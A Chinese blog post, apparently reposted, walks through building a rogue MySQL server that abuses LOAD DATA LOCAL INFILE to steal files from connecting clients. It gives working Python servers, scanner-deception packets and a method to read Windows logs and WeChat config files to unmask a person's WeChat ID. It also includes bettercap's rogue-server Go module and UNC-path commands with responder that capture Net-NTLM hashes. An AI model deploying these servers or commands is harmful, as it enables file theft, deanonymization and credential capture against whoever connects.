1. 程式人生 > 實用技巧 >溯源反制之MySQL蜜罐研究

溯源反制之MySQL蜜罐研究

前言

前不久,零隊發了一篇《MySQL蜜罐獲取攻擊者微信ID》的文章,文章講述瞭如何通過load data local infile進行攻擊者微信ID的抓取,學習的過程中發現雖然問題是一個比較老的問題,但是擴展出來的很多知識都比較有意思,記錄一下。

分析過程

LOAD DATA INFILE

在MySQL中LOAD DATA INFILE語句以非常高的速度從文字檔案中讀取行到表中,基本語法如下:

load data  [low_priority] [local] infile 'file_name txt' [replace | ignore]
into table tbl_name
[fields
[terminated by't']
[OPTIONALLY] enclosed by '']
[escaped by'\' ]]
[lines terminated by'n']
[ignore number lines]
[(col_name,   )]

這個功能預設是關閉的,當我們沒有開啟這個功能時執行LOAD DATA INFILE報錯如下:

> 1148 - The used command is not allowed with this MySQL version

我們可以通過如下命令檢視功能狀態。

show global variables like 'local_infile';

我們可以通過如下命令開啟該功能。

set global local_infile=1;

開啟之後我們就可以通過如下命令進行檔案讀取並且寫入到表中,我們以C:\1.txt為例,將其中內容寫入到test表中,並且以\n為分隔符。

load data local infile 'C:/1.txt' into table test fields terminated by '\n';

這樣我們就可以讀取客戶端本地的檔案,並寫入到表中。

通訊過程

接下來我們通過Wireshark抓取過程中的流量分析一下通訊過程。

首先是Greeting包,返回了服務端的Version等資訊。

接下來客戶端傳送登入請求。

接下來客戶端傳送瞭如下請求:

SET NAMES utf8mb4SET NAMES utf8mb4

轉存失敗重新上傳取消

接下來我們執行我們的payload

load data local infile 'C:/1.txt' into table test fields terminated by '\n';

首先客戶端發起請求;

之後服務端會回覆一個Response TABULAR,其中包含請求檔名的包;

這裡資料包我們要注意的地方如下:

如上圖,資料包中內容如下:

09 00 00 01 fb 43 3a 2f 31 2e 74 78 74

這裡的09指的是從fb開始十六進位制的資料包中檔名的長度,00 00 01值得是資料包的序號,fb是包的型別,43 4a 2f 31 2e 74 78 74指的是檔名,接下來客戶端向服務端傳送檔案內容的資料包。

任意檔案讀取過程

在MySQL協議中,客戶端本身不儲存自身的請求,而是通過服務端的響應來執行操作,也就是說我們如果可以偽造Greeting包和偽造的檔名對應的資料包,我們就可以讓攻擊者的客戶端給我們把我們想要的檔案拿過來,過程大致如下,首先我們將Greeting包傳送給要連線的客戶端,這樣如果客戶端傳送查詢之後,我們返回一個Response TABULAR資料包,並且附上我們指定的檔案,我們也就完成了整個任意檔案讀取的過程,接下來就是構造兩個包的過程,首先是Greeting包,這裡引用lightless師傅部落格中的一個樣例。

'\x0a',  # Protocol
'6.6.6-lightless_Mysql_Server' + '\0',  # Version
'\x36\x00\x00\x00',  # Thread ID
'ABCDABCD' + '\0',  # Salt
'\xff\xf7',  # Capabilities, CLOSE SSL HERE!
'\x08',  # Collation
'\x02\x00',  # Server Status
"\x0f\x80\x15", 
'\0' * 10,  # Unknown
'ABCDABCD' + '\0',
"mysql_native_password" + "\0"

根據以上樣例,我們就可以方便的構造Greeting包了,當然,這裡我們也可以直接利用上面我們Wireshark抓取到的Greeting包,接下來就是Response TABULAR包了,包的格式上面我們分析過了,我們可以直接構造如下Paylod

chr(len(filename) + 1) + "\x00\x00\x01\xFB" + filename

我們就可以對客戶端的指定檔案進行讀取了,這裡我們還缺少一個條件,RUSSIANSECURITY在部落格中也提及過如下內容。

For successfully exploitation you need at least one query to server. Fortunately most of mysql clients makes at least one query like ‘*SET names “utf8”* or something.

這是因為我們傳輸這個檔案讀取的資料包時,需要等待一個來自客戶端的查詢請求才能回覆這個讀檔案的請求,也就是我們現在還需要一個來自客戶端的查詢請求,幸運的是,通過我們上面的分析我們可以看到,形如Navicat等客戶端進行連線的時候,會自動傳送如下查詢請求。

SET NAMES utf8mb4

從查閱資料來看,大多數MySQL客戶端以及程式庫都會在握手之後至少傳送一次請求,以探測目標平臺的指紋資訊,例如:

select @@version_comment limit 1

這樣我們的利用條件也就滿足了,綜上,我們可以惡意模擬一個MySQL服務端的身份認證過程,之後等待客戶端發起一個SQL查詢,之後響應的時候我們將我們構造的Response TABULAR傳送給客戶端,也就是我們LOAD DATA INFILE的請求,這樣客戶端根據響應內容執行上傳本機檔案的操作,我們也就獲得了攻擊者的檔案資訊,整體流程圖示如下:

我們可以用Python來簡單模擬一下這個過程:

import socket


serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 


port = 3306
serversocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
serversocket.bind(("", port))
serversocket.listen(5)


while True:
    # 建立客戶端連線
    clientsocket,addr = serversocket.accept()      


    print("連線地址: %s" % str(addr))
    # 返回版本資訊
    version_text = b"\x4a\x00\x00\x00\x0a\x38\x2e\x30\x2e\x31\x32\x00\x08\x00\x00\x00\x2a\x51\x47\x38\x48\x17\x12\x21\x00\xff\xff\xc0\x02\x00\xff\xc3\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7a\x6f\x6e\x25\x61\x3e\x48\x31\x25\x43\x2b\x61\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00"
    clientsocket.sendall(version_text)
    try:
        # 客戶端請求資訊
        clientsocket.recv(9999)
    except Exception as e:
        print(e)
    # Response OK
    verification = b"\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00"
    clientsocket.sendall(verification)
    try:
        # SET NAMES utf8mb4
        clientsocket.recv(9999)
    except Exception as e:
        print(e)
    # Response TABULAR
    evil_response = b"\x09\x00\x00\x01\xfb\x43\x3a\x2f\x31\x2e\x74\x78\x74"
    clientsocket.sendall(evil_response)
    # file_text
    print(clientsocket.recv(9999))
    clientsocket.close()

我們可以看到,當攻擊者連結我們構造的蜜罐時,我們成功抓取到了攻擊者C:/1.txt檔案中的內容,接下來就是對任意檔案的構造,我們上面也分析了Response TABULAR資料包的格式,因此我們只需要對我們的檔名進行構造即可,這裡不再贅述。

chr(len(filename) + 1) + "\x00\x00\x01\xFB" + filename

欺騙掃描器

接下來一個主要問題就是讓攻擊者的掃描器發現我們是弱口令才行,這樣他才有可能連線,所以還需要分析一下掃描器的通訊過程,這裡以SNETCracker為例。

首先還是分析通訊過程,首先還是Greeting包,返回版本資訊等。

之後客戶端向服務端傳送請求登入的資料包。

接下來服務端向客戶端返回驗證成功的資料包。

從上面流程上來說,其實檢查口令的部分已經結束了,但是這個軟體本身還進行了下面的進一步判斷,當下面判斷條件也成立時,才會認為成功爆破了MySQL,接下來檢視系統變數以及相應的值。

SHOW VARIABLES

服務端返回響應包後,繼續檢視警告資訊。

SHOW WARNINGS

服務端返回響應包後,繼續檢視所有排列字符集。

SHOW COLLATION

到這裡,如果我們偽造的蜜罐都可以返回相應的響應包,這時候SNETCracker就可以判斷弱口令存在,並正常識別了,我們使用Python模擬一下整個過程。

import socket


serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 


port = 3306
serversocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
serversocket.bind(("", port))
serversocket.listen(5)




# 建立客戶端連線
clientsocket,addr = serversocket.accept()      


print("連線地址: %s" % str(addr))
# 返回版本資訊
version_text = b"\x4a\x00\x00\x00\x0a\x38\x2e\x30\x2e\x31\x32\x00\x08\x00\x00\x00\x34\x58\x29\x37\x38\x2f\x6d\x20\x00\xff\xff\xc0\x02\x00\xff\xc3\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x16\x1f\x07\x48\x54\x56\x3f\x1e\x15\x2a\x58\x59\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00"
clientsocket.sendall(version_text)
print(clientsocket.recv(9999))
verification = b"\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00"
clientsocket.sendall(verification)
print(clientsocket.recv(9999))
show_variables = b'太長了,已經省略'
clientsocket.sendall(show_variables)
print(clientsocket.recv(9999))
show_warnings = b"\x01\x00\x00\x01\x03\x1b\x00\x00\x02\x03\x64\x65\x66\x00\x00\x00\x05\x4c\x65\x76\x65\x6c\x00\x0c\x08\x00\x07\x00\x00\x00\xfd\x01\x00\x1f\x00\x00\x1a\x00\x00\x03\x03\x64\x65\x66\x00\x00\x00\x04\x43\x6f\x64\x65\x00\x0c\x3f\x00\x04\x00\x00\x00\x03\xa1\x00\x00\x00\x00\x1d\x00\x00\x04\x03\x64\x65\x66\x00\x00\x00\x07\x4d\x65\x73\x73\x61\x67\x65\x00\x0c\x08\x00\x00\x02\x00\x00\xfd\x01\x00\x1f\x00\x00\x05\x00\x00\x05\xfe\x00\x00\x02\x00\x68\x00\x00\x06\x07\x57\x61\x72\x6e\x69\x6e\x67\x04\x31\x33\x36\x36\x5a\x49\x6e\x63\x6f\x72\x72\x65\x63\x74\x20\x73\x74\x72\x69\x6e\x67\x20\x76\x61\x6c\x75\x65\x3a\x20\x27\x5c\x78\x44\x36\x5c\x78\x44\x30\x5c\x78\x42\x39\x5c\x78\x46\x41\x5c\x78\x42\x31\x5c\x78\x45\x41\x2e\x2e\x2e\x27\x20\x66\x6f\x72\x20\x63\x6f\x6c\x75\x6d\x6e\x20\x27\x56\x41\x52\x49\x41\x42\x4c\x45\x5f\x56\x41\x4c\x55\x45\x27\x20\x61\x74\x20\x72\x6f\x77\x20\x31\x05\x00\x00\x07\xfe\x00\x00\x02\x00"
clientsocket.sendall(show_warnings)
print(clientsocket.recv(9999))
show_collation = b'太長了,已經省略'
clientsocket.sendall(show_collation)
print(clientsocket.recv(9999))

至此我們欺騙掃描器的過程已經結束,攻擊者已經可以“快速”的掃描到我們的蜜罐了,只要他進行連線,我們就可以按照上面的方法來讀取他電腦上的檔案了。

獲取微信

如果我們想進行溯源,就需要獲取一些能證明攻擊者身份資訊的檔案,而且這些檔案需要位置型別固定,從而我們能方便的進行獲取,從而進行進一步的調查反制。

alexo0師傅在文章中提到過關於微信的抓取:

Windows下,微信預設的配置檔案放在C:\Users\username\Documents\WeChat Files\中,在裡面翻翻能夠發現C:\Users\username\Documents\WeChat Files\All Users\config\config.data中含有微信ID,而獲取這個檔案還需要一個條件,那就是要知道攻擊者的電腦使用者名稱,使用者名稱一般有可能出現在一些日誌檔案裡,我們需要尋找一些比較通用、檔名固定的檔案。經過測試,發現一般用過一段時間的電腦在C:\Windows\PFRO.log中較大機率能找到使用者名稱。

通過以上條件我們就能獲得攻擊者的wxid了,接下來就是如何將wxid轉換為二維碼方便我們掃描,通過資料得知方法如下:

weixin://contacts/profile/{wxid}

將相應wxid填入上述字串後,再對字串轉換成二維碼,之後使用安卓端微信進行掃碼即可,可以使用如下函式進行二維碼生成:

import qrcode
from PIL import Image
import os


# 生成二維碼圖片
# 引數為wxid和二維碼要儲存的檔名
def make_qr(str,save):
    qr=qrcode.QRCode(
        version=4,  #生成二維碼尺寸的大小 1-40  1:21*21(21+(n-1)*4)
        error_correction=qrcode.constants.ERROR_CORRECT_M, #L:7% M:15% Q:25% H:30%
        box_size=10, #每個格子的畫素大小
        border=2, #邊框的格子寬度大小
    )
    qr.add_data(str)
    qr.make(fit=True)


    img=qr.make_image()
    img.save(save)


# 讀取到的wxid
wxid = ''
qr_id = 'weixin://contacts/profile/' + wxid
make_qr(qr_id,'demo.jpg')

這樣,我們組合上面的過程,就可以通過正則首先獲得使用者username

re.findall( r'.*C:\\Users\\(.*?)\\AppData\\Local\\.*', result)

之後再將獲得的username進行拼接,獲取到攻擊者的微信配置檔案:

C:\Users\{username}\Documents\WeChat Files\All Users\config\config.data

最後再正則獲得其中的wxid,並且利用上述函式轉換為二維碼即可,這樣當攻擊者掃描到我們的蜜罐之後,進行連線,我們就可以抓取到攻擊者的wxid,並生成二維碼了。

至此,我們構建的蜜罐已經將攻擊者的微信給我們帶回來了。

NTLM HASH

我們知道,NTLM認證採用質詢/應答的訊息交換模式,流程如下:

  1. 客戶端向伺服器傳送一個請求,請求中包含明文的登入使用者名稱。伺服器會提前儲存登入使用者名稱和對應的密碼hash;
  2. 伺服器接收到請求後,生成一個16位的隨機數(這個隨機數被稱為Challenge),明文傳送回客戶端。使用儲存的登入使用者密碼hash加密Challenge,獲得Challenge1;
  3. 客戶端接收到Challenge後,使用登入使用者的密碼hash對Challenge加密,獲得Challenge2(這個結果被稱為response),將response傳送給伺服器;
  4. 伺服器接收客戶端加密後的response,比較Challenge1和response,如果相同,驗證成功。

在以上流程中,登入使用者的密碼hash即NTLM hash,response中包含Net-NTLM hash,而對於SMB協議來說,客戶端連線服務端的時候,會優先使用本機的使用者名稱和密碼hash來進行登入嘗試,而INFILE又支援UNC路徑,組合這兩點我們就能通過構造一個惡意的MySQL伺服器,Bettercap本身已經集成了一個惡意MySQL伺服器,程式碼如下:

package mysql_server


import (
  "bufio"
  "bytes"
  "fmt"
  "io/ioutil"
  "net"
  "strings"


  "github.com/bettercap/bettercap/packets"
  "github.com/bettercap/bettercap/session"


  "github.com/evilsocket/islazy/tui"
)


type MySQLServer struct {
  session.SessionModule
  address  *net.TCPAddr
  listener *net.TCPListener
  infile   string
  outfile  string
}


func NewMySQLServer(s *session.Session) *MySQLServer {
  mod := &MySQLServer{
    SessionModule: session.NewSessionModule("mysql.server", s),
  }


  mod.AddParam(session.NewStringParameter("mysql.server.infile",
    "/etc/passwd",
    "",
    "File you want to read. UNC paths are also supported."))


  mod.AddParam(session.NewStringParameter("mysql.server.outfile",
    "",
    "",
    "If filled, the INFILE buffer will be saved to this path instead of being logged."))


  mod.AddParam(session.NewStringParameter("mysql.server.address",
    session.ParamIfaceAddress,
    session.IPv4Validator,
    "Address to bind the mysql server to."))


  mod.AddParam(session.NewIntParameter("mysql.server.port",
    "3306",
    "Port to bind the mysql server to."))


  mod.AddHandler(session.NewModuleHandler("mysql.server on", "",
    "Start mysql server.",
    func(args []string) error {
      return mod.Start()
    }))


  mod.AddHandler(session.NewModuleHandler("mysql.server off", "",
    "Stop mysql server.",
    func(args []string) error {
      return mod.Stop()
    }))


  return mod
}


func (mod *MySQLServer) Name() string {
  return "mysql.server"
}


func (mod *MySQLServer) Description() string {
  return "A simple Rogue MySQL server, to be used to exploit LOCAL INFILE and read arbitrary files from the client."
}


func (mod *MySQLServer) Author() string {
  return "Bernardo Rodrigues (https://twitter.com/bernardomr)"
}


func (mod *MySQLServer) Configure() error {
  var err error
  var address string
  var port int


  if mod.Running() {
    return session.ErrAlreadyStarted(mod.Name())
  } else if err, mod.infile = mod.StringParam("mysql.server.infile"); err != nil {
    return err
  } else if err, mod.outfile = mod.StringParam("mysql.server.outfile"); err != nil {
    return err
  } else if err, address = mod.StringParam("mysql.server.address"); err != nil {
    return err
  } else if err, port = mod.IntParam("mysql.server.port"); err != nil {
    return err
  } else if mod.address, err = net.ResolveTCPAddr("tcp", fmt.Sprintf("%s:%d", address, port)); err != nil {
    return err
  } else if mod.listener, err = net.ListenTCP("tcp", mod.address); err != nil {
    return err
  }
  return nil
}


func (mod *MySQLServer) Start() error {
  if err := mod.Configure(); err != nil {
    return err
  }


  return mod.SetRunning(true, func() {
    mod.Info("server starting on address %s", mod.address)
    for mod.Running() {
      if conn, err := mod.listener.AcceptTCP(); err != nil {
        mod.Warning("error while accepting tcp connection: %s", err)
        continue
      } else {
        defer conn.Close()


        // TODO: include binary support and files > 16kb
        clientAddress := strings.Split(conn.RemoteAddr().String(), ":")[0]
        readBuffer := make([]byte, 16384)
        reader := bufio.NewReader(conn)
        read := 0


        mod.Info("connection from %s", clientAddress)


        if _, err := conn.Write(packets.MySQLGreeting); err != nil {
          mod.Warning("error while writing server greeting: %s", err)
          continue
        } else if _, err = reader.Read(readBuffer); err != nil {
          mod.Warning("error while reading client message: %s", err)
          continue
        }


        // parse client capabilities and validate connection
        // TODO: parse mysql connections properly and
        //       display additional connection attributes
        capabilities := fmt.Sprintf("%08b", (int(uint32(readBuffer[4]) | uint32(readBuffer[5])<<8)))
        loadData := string(capabilities[8])
        username := string(bytes.Split(readBuffer[36:], []byte{0})[0])


        mod.Info("can use LOAD DATA LOCAL: %s", loadData)
        mod.Info("login request username: %s", tui.Bold(username))


        if _, err := conn.Write(packets.MySQLFirstResponseOK); err != nil {
          mod.Warning("error while writing server first response ok: %s", err)
          continue
        } else if _, err := reader.Read(readBuffer); err != nil {
          mod.Warning("error while reading client message: %s", err)
          continue
        } else if _, err := conn.Write(packets.MySQLGetFile(mod.infile)); err != nil {
          mod.Warning("error while writing server get file request: %s", err)
          continue
        } else if read, err = reader.Read(readBuffer); err != nil {
          mod.Warning("error while readind buffer: %s", err)
          continue
        }


        if strings.HasPrefix(mod.infile, "\\") {
          mod.Info("NTLM from '%s' relayed to %s", clientAddress, mod.infile)
        } else if fileSize := read - 9; fileSize < 4 {
          mod.Warning("unexpected buffer size %d", read)
        } else {
          mod.Info("read file ( %s ) is %d bytes", mod.infile, fileSize)


          fileData := readBuffer[4 : read-4]


          if mod.outfile == "" {
            mod.Info("\n%s", string(fileData))
          } else {
            mod.Info("saving to %s ...", mod.outfile)
            if err := ioutil.WriteFile(mod.outfile, fileData, 0755); err != nil {
              mod.Warning("error while saving the file: %s", err)
            }
          }
        }


        conn.Write(packets.MySQLSecondResponseOK)
      }
    }
  })
}


func (mod *MySQLServer) Stop() error {
  return mod.SetRunning(false, func() {
    defer mod.listener.Close()
  })
}

通過查閱文件,我們可以看到相關引數的設定如下:

我們這裡將我們的mysql.server.infile設定成UNC路徑。

set mysql.server.infile \\192.168.165.128\test; mysql.server on

並且通過responder進行監聽。

responder --interface eth0 -i 192.168.231.153

當攻擊者使用客戶端連線我們的惡意伺服器時,

我們就成功的截獲了NTLM的相關資訊。

推薦閱讀

為什麼阿里巴巴的程式設計師成長速度這麼快

【手撕Spring原始碼合集】帶你從入門到精通;

《飛馬計劃》到底是什麼?可以讓數萬程式設計師為之著迷

看完三件事

如果你覺得這篇內容對你還蠻有幫助,我想邀請你幫我三個小忙:

點贊,轉發,有你們的 『點贊和評論』,才是我創造的動力。

關注公眾號 『 Java鬥帝 』,不定期分享原創知識。

同時可以期待後續文章ing